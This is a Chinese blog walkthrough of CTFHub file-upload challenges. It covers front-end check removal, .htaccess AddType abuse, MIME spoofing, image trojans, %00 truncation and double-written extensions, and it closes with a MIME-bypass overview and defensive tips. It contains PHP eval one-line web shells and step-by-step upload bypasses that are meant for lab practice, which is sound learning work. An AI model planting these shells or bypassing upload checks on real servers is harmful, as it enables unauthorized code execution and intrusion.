ctfhub-前端验证,.htaccess,MIME绕过,文件头检查,00截断,双写后缀

本文详细探讨了文件上传过程中的多种安全验证绕过方法,包括前端验证、.htaccess配置、MIME类型绕过、文件头检查、00截断和双写后缀等。通过实例演示了如何利用这些技术进行文件上传,并展示了如何通过蚁剑等工具获取flag。同时强调了eval执行的危险性及其可能带来的安全风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

文件上传-前端验证

 文件上传-.htaccess

文件上传-MIME绕过

 文件上传-文件头检查

文件上传-00截断

文件上传-双写后缀

eval执行


文件上传-前端验证

上传文件时,客户端的javascript会对文件的类型进行一个校验,只允许 “.jpg” “.png” ".gif"的文件上传,于是关掉他

about:config 

 一句木马

<?php @eval($_POST['123']); ?>  

命名为1.php之后上传文件,用蚁剑打开他会发现flag

 

 文件上传-.htaccess

.htaccess是一个纯文本文件,存放着Apache服务器配置相关的指令。
       .htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
       .htaccess的用途范围主要针对当前目录。

https://www.cnblogs.com/engeng/articles/5948089.html

----------------------------------------------------------


AddType application/x-httpd-php .png//凡是png文件都当作php文件来解

以他为内容构建 .htaccess文件(特别注意这里文件名不可随意更改,因为 .htaccess 是配置文件)

<?php @eval($_POST["pass"]);?>

以他为内容命名为20.png

在题目页面先上传.htaccess,之后在上传20.png

 之后用蚁剑解开就可得到flag

文件上传-MIME绕过

MIME多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式.

----------------------------------------------------------

<?php @eval($_POST["pass"]);?>

以他为内容文件名为20.php

打开题目页面上传20.php并进行抓包

修改为image/jpg绕过验证,

放包,用蚁剑找flag

 

 文件上传-文件头检查

写一个图片马

https://blog.youkuaiyun.com/Ro_kin/article/details/75578711

之后将图片马命名为1.php,上传之后抓包(注意修改修改为image/png绕过检查)

 之后蚁剑来一遍flag就找到了

文件上传-00截断

00截断的原理,就是利用0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。 需要注意的是,0x00截断是16进制的截断,需要修改16进制的数据头,如果使用burp,就要在Hex中对数据进行改写。

-------------------------------------------------------------------

https://blog.youkuaiyun.com/Ro_kin/article/details/75578711

制作一个名为1.jpg的图片马上传抓包(注意红色字体后面加上1.php%00(1.php是我自己的文件名)


 

 放包用蚁剑找flag

 特别注意蚁剑连接

http://challenge-b810f810b52f1680.sandbox.ctfhub.com:10800/upload/1.php

文件上传-双写后缀

双写后缀绕过 用于只将文件后缀名,例如 "php" 字符串过滤的场合; 例如:上传时将Burpsuite截获的数据包中文件名【evil.php】改为【evil.pphphp】,那么过滤了第一个 "php" 字符串 "后,开头的'p'和结尾的'hp'就组合又形成了【php】。

---------------------------------------------------

写一句木马文件名为20.pphphp上传,会显示上传成功,之后用蚁剑找flag

eval执行

eval () 是一个危险的函数, 它使用与调用者相同的权限执行代码。 如果你用 eval () 运行的字符串代码被恶意方(不怀好意的人)修改,您最终可能会在您的网页/扩展程序的权限下,在用户计算机上运行恶意代码。

-----------------------------------------------------

查看根目录文件

 查看下一级目录,

 使用cat命令读取文件,找到flag

 

 

### 文件上传 MIME 类型绕过方法及安全性考虑 #### MIME 类型概述 MIME 多用途互联网邮件扩展类型,也称为 Media Type 或 Content-Type,在 HTTP 协议中用于定义文档的内容类型及其编码方式。最初设计目的是为了电子邮件系统的附件传输,后来广泛应用于 Web 浏览器与服务器之间的数据交换过程[^2]。 #### 绕过 MIME 类型检查的技术手段 ##### 利用不严格的 MIME 检查逻辑 部分应用程序仅依赖于客户端提交的 `Content-Type` 请求头来判断文件类型而未做进一步验证。攻击者可以通过修改此请求头中的值为合法的 MIME 类型(如 image/jpeg),即使实际上传的是 PHP 脚本或其他可执行代码文件,以此欺骗服务器接受非法文件[^1]。 ##### 使用混淆技术规避检测 对于某些实现了更严格 MIME 验证机制的服务端程序来说,简单的更改 `Content-Type` 可能不足以成功实施攻击。此时可以采用更为隐蔽的手法,例如改变文件的实际二进制签名或者利用不同操作系统下对同一文件格式的不同解释特性来进行伪装。此外,还可以尝试通过调整文件结构或添加无害的数据片段使文件既满足目标 MIME 类型的要求又隐藏了潜在威胁[^3]。 ##### 结合其他漏洞实现复合攻击 如果服务端不仅基于 MIME 进行初步筛选还会深入分析文件内部特征,则单纯依靠上述两种策略可能难以奏效。这时就需要探索是否存在其他的输入点能够辅助完成整个攻击链路的设计,比如结合 SQL 注入、XSS 等常见 web 安全问题形成组合拳式的进攻模式。值得注意的是,这种方式通常难度较大且风险较高,因为涉及到多个层面的安全防护措施突破[^4]。 #### 安全性建议 - **强化白名单校验**:只允许已知安全MIME 类型进入系统,并确保该列表尽可能详尽覆盖所有预期支持的媒体种类; - **多重身份认证**:除了 MIME 类型外还应增加额外的身份确认环节,如文件扩展名、魔数(Magic Number)、甚至是完整的文件解析库来做最终裁定; - **隔离沙箱环境运行未知来源文件**:任何来自外部世界的不可信资源都应在受控条件下被执行,防止其直接作用于生产环境中造成破坏; - **定期更新补丁并监控日志记录**:及时修补软件中存在的安全隐患,同时密切关注异常活动迹象以便快速响应突发事件。 ```python import mimetypes def check_mime_type(file_path, allowed_types): mime_guess = mimetypes.guess_type(file_path)[0] if not mime_guess or mime_guess.lower() not in allowed_types: raise ValueError(f"Invalid file type {mime_guess}") return True ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值